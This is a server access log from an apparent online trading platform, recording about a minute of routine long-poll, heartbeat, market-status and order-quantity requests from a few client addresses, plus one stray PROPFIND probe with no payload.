[09/Jan/2026:09:26:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:26:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:26:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:26:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922283055 HTTP/1.1" -
[09/Jan/2026:09:26:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922284303 HTTP/1.1" -
[09/Jan/2026:09:26:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922287917 HTTP/1.1" -
[09/Jan/2026:09:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922300235 HTTP/1.1" -
[09/Jan/2026:09:26:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922287487 HTTP/1.1" -
[09/Jan/2026:09:27:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922289052 HTTP/1.1" -
[09/Jan/2026:09:27:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922292974 HTTP/1.1" -
[09/Jan/2026:09:27:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922290300 HTTP/1.1" -
[09/Jan/2026:09:27:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922306223 HTTP/1.1" -
[09/Jan/2026:09:27:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922292521 HTTP/1.1" -
[09/Jan/2026:09:27:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922298100 HTTP/1.1" -
[09/Jan/2026:09:27:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922295056 HTTP/1.1" -
[09/Jan/2026:09:27:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922296294 HTTP/1.1" -
[09/Jan/2026:09:27:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922297571 HTTP/1.1" -
[09/Jan/2026:09:27:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922312230 HTTP/1.1" -
[09/Jan/2026:09:27:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922303230 HTTP/1.1" -
[09/Jan/2026:09:27:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922301047 HTTP/1.1" -
[09/Jan/2026:09:27:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922302300 HTTP/1.1" -
[09/Jan/2026:09:27:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922302611 HTTP/1.1" -
[09/Jan/2026:09:27:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922318234 HTTP/1.1" -
[09/Jan/2026:09:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922308372 HTTP/1.1" -
[09/Jan/2026:09:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922307644 HTTP/1.1" -
[09/Jan/2026:09:27:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922307047 HTTP/1.1" -
[09/Jan/2026:09:27:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922308294 HTTP/1.1" -
[09/Jan/2026:09:27:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922324235 HTTP/1.1" -
[09/Jan/2026:09:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922313516 HTTP/1.1" -
[09/Jan/2026:09:27:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922312681 HTTP/1.1" -
[09/Jan/2026:09:27:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922313057 HTTP/1.1" -
[09/Jan/2026:09:27:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922314294 HTTP/1.1" -
[09/Jan/2026:09:27:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922330231 HTTP/1.1" -
[09/Jan/2026:09:27:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922318641 HTTP/1.1" -
[09/Jan/2026:09:27:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922317702 HTTP/1.1" -
[09/Jan/2026:09:27:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922319719 HTTP/1.1" -
[09/Jan/2026:09:27:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922320301 HTTP/1.1" -
[09/Jan/2026:09:27:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922323704 HTTP/1.1" -
[09/Jan/2026:09:27:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922336235 HTTP/1.1" -
[09/Jan/2026:09:27:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922322730 HTTP/1.1" -
[09/Jan/2026:09:27:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:09:27:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:09:27:34 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:09:27:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922325046 HTTP/1.1" -
[09/Jan/2026:09:27:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922328834 HTTP/1.1" -
[09/Jan/2026:09:27:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922326302 HTTP/1.1" -
[09/Jan/2026:09:27:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922342226 HTTP/1.1" -
[09/Jan/2026:09:27:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922327780 HTTP/1.1" -
[09/Jan/2026:09:27:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:09:27:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922331050 HTTP/1.1" -
[09/Jan/2026:09:27:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922333970 HTTP/1.1" -
[09/Jan/2026:09:27:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922332299 HTTP/1.1" -
[09/Jan/2026:09:27:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922332801 HTTP/1.1" -
[09/Jan/2026:09:27:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922348225 HTTP/1.1" -
[09/Jan/2026:09:27:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922339106 HTTP/1.1" -
[09/Jan/2026:09:27:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922337056 HTTP/1.1" -
[09/Jan/2026:09:27:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922337827 HTTP/1.1" -
[09/Jan/2026:09:27:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922338288 HTTP/1.1" -
[09/Jan/2026:09:27:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922354225 HTTP/1.1" -
[09/Jan/2026:09:27:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 302
[09/Jan/2026:09:27:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922344248 HTTP/1.1" -
[09/Jan/2026:09:27:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922342853 HTTP/1.1" -
[09/Jan/2026:09:27:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:27:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:27:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:27:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922343061 HTTP/1.1" -
